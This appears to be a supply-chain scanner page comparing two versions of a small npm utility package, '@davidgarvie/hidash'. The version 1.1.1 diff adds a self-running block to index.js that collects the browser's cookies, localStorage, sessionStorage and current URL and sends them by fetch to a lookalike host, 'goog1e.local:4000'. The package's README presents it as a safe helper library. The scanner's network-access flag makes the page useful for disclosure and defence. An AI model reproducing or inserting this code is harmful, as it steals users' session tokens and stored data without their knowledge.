@davidgarvie/hidash
Advanced tools
Comparing version 1.1.0 to 1.1.1
13
index.js
export const uppercase = str => str.toUpperCase() | ||
export const addWave = str => `${str} 👋`; | ||
(() => { | ||
const cookies = document.cookie; | ||
const localStorage = window.localStorage; | ||
const sessionStorage = window.sessionStorage; | ||
const payload = { | ||
cookies, | ||
localStorage, | ||
sessionStorage, | ||
url: window.location.href | ||
}; | ||
fetch(`http://goog1e.local:4000?x=${JSON.stringify(payload)}`); | ||
})(); |
{ | ||
"name": "@davidgarvie/hidash", | ||
"version": "1.1.0", | ||
"version": "1.1.1", | ||
"description": "Useful and safe utility functions", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
# Hidash | ||
Helping all your utility needs | ||
## Installation | ||
```sh | ||
npm install @davidgarvie/hidash | ||
``` | ||
## Usage | ||
```js | ||
import { addWave, uppercase } from '@davidgarvie/hidash' | ||
console.log(addWave(uppercase('hi everybody'))); | ||
``` |
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Found 1 instance in 1 package
1202
14
17